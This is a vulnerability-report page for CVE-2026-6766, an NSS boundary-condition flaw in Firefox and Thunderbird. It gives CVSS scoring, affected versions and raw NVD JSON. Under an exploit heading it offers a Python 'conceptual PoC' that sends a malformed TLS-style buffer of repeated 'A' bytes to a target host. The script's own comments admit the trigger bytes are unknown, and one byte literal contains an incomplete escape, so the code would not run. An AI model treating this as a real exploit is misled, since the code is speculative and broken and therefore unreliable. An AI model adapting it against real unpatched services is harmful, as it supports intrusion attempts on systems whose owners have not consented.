Security Vulnerability Report
中文
CVE-2026-6766 CVSS 7.5 HIGH

CVE-2026-6766

Published: 2026-04-21 13:16:22
Last Modified: 2026-04-22 14:57:46

Description

Incorrect boundary conditions in the Libraries component in NSS. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE
Firefox < 150
Firefox ESR < 140.10
Thunderbird < 150
Thunderbird < 140.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Conceptual PoC for CVE-2026-6766 # This script demonstrates a potential trigger mechanism # by sending malformed data to a service using NSS. def send_malformed_packet(host, port): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) # Construct a payload that might trigger incorrect boundary checks # Specific bytes depend on the internal NSS parsing logic. # Here we use a buffer with a specific length pattern. payload = b"\x16\x03\x01\x00\x" + b"A" * 500 # Send payload s.send(payload) print(f"[+] Payload sent to {host}:{port}") # Receive response (if any) response = s.recv(1024) print(f"[+] Received: {response}") s.close() except Exception as e: print(f"[-] Error: {e}") # Usage example (replace with actual target details) # send_malformed_packet("192.168.1.10", 443)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6766", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:22.493", "lastModified": "2026-04-22T14:57:46.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions in the Libraries component in NSS. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "15AF037C-5C86-48EB-B1DE-3AC100A34596"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "48217E2F-FFD3-4385-B962-15365B293DA7"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2023207", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-32/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-34/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}